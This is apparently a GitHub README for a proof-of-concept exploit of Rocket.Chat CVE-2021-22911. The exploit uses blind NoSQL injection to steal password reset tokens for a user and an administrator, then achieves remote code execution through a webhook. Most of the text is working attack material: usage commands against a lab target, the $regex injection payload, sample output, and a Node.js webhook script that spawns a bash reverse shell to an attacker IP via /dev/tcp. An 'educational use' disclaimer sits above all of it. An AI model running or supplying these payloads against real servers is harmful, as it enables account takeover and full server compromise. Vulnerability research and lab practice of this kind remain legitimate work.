roshanrajbanshi/rocketcat-cve-2021-22911-exploit
GitHub: roshanrajbanshi/rocketcat-cve-2021-22911-exploit
一个 Rocket.Chat CVE-2021-22911 的教育用途 NoSQL 注入到 RCE 的概念验证利用脚本。
Stars: 0 | Forks: 0
# Rocket.Chat CVE-2021-22911 漏洞利用
## ⚠️ 免责声明 - 仅限教育用途
本漏洞利用程序**仅限授权渗透测试和教育用途**。未经授权访问计算机系统是非法的。作者不对任何误用负责。
## 📋 概述
**CVE-2021-22911** 是 Rocket.Chat 中一个无需身份验证的 NoSQL 注入漏洞,可导致远程代码执行(RCE)。
- **CVSS 评分:** 9.8(严重)
- **受影响版本:** Rocket.Chat < 3.12.7
- **攻击向量:** 网络 / 无需身份验证
- **影响:** 完全系统沦陷
## 🎯 漏洞详情
本漏洞利用串联了三次 NoSQL 注入攻击:
### 阶段 1:低权限用户密码重置
- 发送低权限用户的忘记密码请求
- 使用盲 NoSQL 注入(`$regex` 操作符)逐字符提取密码重置令牌
- 将密码重置为已知值
### 阶段 2:管理员密码重置
- 重复阶段 1,但目标为管理员账户
- 通过盲 NoSQL 注入提取管理员密码重置令牌
- 修改管理员密码
### 阶段 3:远程代码执行
- 以被攻破的管理员账户身份进行身份验证
- 创建一个带有 JavaScript 载荷的 Webhook 集成
- 载荷使用 Node.js 的 `child_process.exec()` 来生成反向 Shell
- 触发 Webhook 以执行反向 Shell
## 🛠️ 先决条件
```
pip install requests
```
## 🚀 使用方法
### 1. 启动 Netcat 监听器(终端 1)
```
nc -lvnp 4444
```
### 2. 运行漏洞利用(终端 2)
**手动输入 IP:**
```
python3 rocket_chat_exploit.py \
-u test@rocket.thm \
-a admin@rocket.thm \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
Auto-detect tun0 IP (Recommended):
python3 rocket_chat_exploit.py \
-u test@rocket.thm \
-a admin@rocket.thm \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
**Arguments:**
- `-u`: Low-privilege user email (must exist)
- `-a`: Administrator email
- `-t`: Target URL (Rocket.Chat instance)
- `-i`: Your attacker IP (tun0)
- `-p`: Netcat listener port
### Example Output
```
# ============================================================
Rocket.Chat CVE-2021-22911 — RCE
目标 : http://chat.rocket.thm
Shell : 10.9.0.1:4444
[阶段 1] 低权限用户 → test@rocket.thm
[+] 已发送密码重置邮件 → test@rocket.thm
[*] 通过盲 NoSQL 注入提取重置令牌...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] 令牌:aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] 密码已更改为:P@$$w0rd!1234
[阶段 2] 管理员用户 → admin@rocket.thm
[+] 已发送密码重置邮件 → admin@rocket.thm
[*] 通过盲 NoSQL 注入提取重置令牌...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] 令牌:XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] 密码已更改为:P@$$w0rd!1234
[阶段 3] RCE
[!] 现在开始你的监听器: nc -lvnp 4444
[*] 等待 nc 就绪...
[+] 已以 admin@rocket.thm 身份验证
userid : userid123456789
token : token123456...
[+] 已创建 Webhook
http://chat.rocket.thm/hooks/hookid123/token456
[*] 触发反向 Shell...
[+] 已发送触发 — 检查你的 nc 监听器
```
## 🔍 Technical Details
### NoSQL Injection Payload Format
```json
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
```
### RCE 载荷(Webhook 脚本)
```
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
```
## 📚 参考资料
- 原始漏洞利用:[enox - Exploit-DB 50078, 50108](https://www.exploit-db.com/)
- 漏洞分析:[SonarSource 博客](https://blog.sonarsource.com/nosql-injections-in-rocket-chat)
- CVE 详情:[CVE-2021-22911](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911)
## 📝 致谢
- **enox** — 原始漏洞利用开发
- **SonarSource** — 漏洞研究与分析
## ⚖️ 法律声明
本工具仅供教育用途和授权安全测试使用。未经授权访问计算机系统违反《计算机欺诈和滥用法案》(CFAA)及类似国际法律。
**请负责任地使用。仅测试您拥有或已获得明确书面许可的系统。**
标签:$regex, child_process.exec, CISA项目, CVE-2021-22911, CVSS 9.8, GNU通用公共许可证, IP 地址批量处理, MITM代理, Node.js, NoSQL注入, RCE, Rocket.Chat, RuleLab, Webhook, 事件响应, 力导向图, 协议分析, 反向Shell, 威胁模拟, 密码重置, 攻击向量, 教育用途, 数据可视化, 未认证攻击, 权限提升, 盲注, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护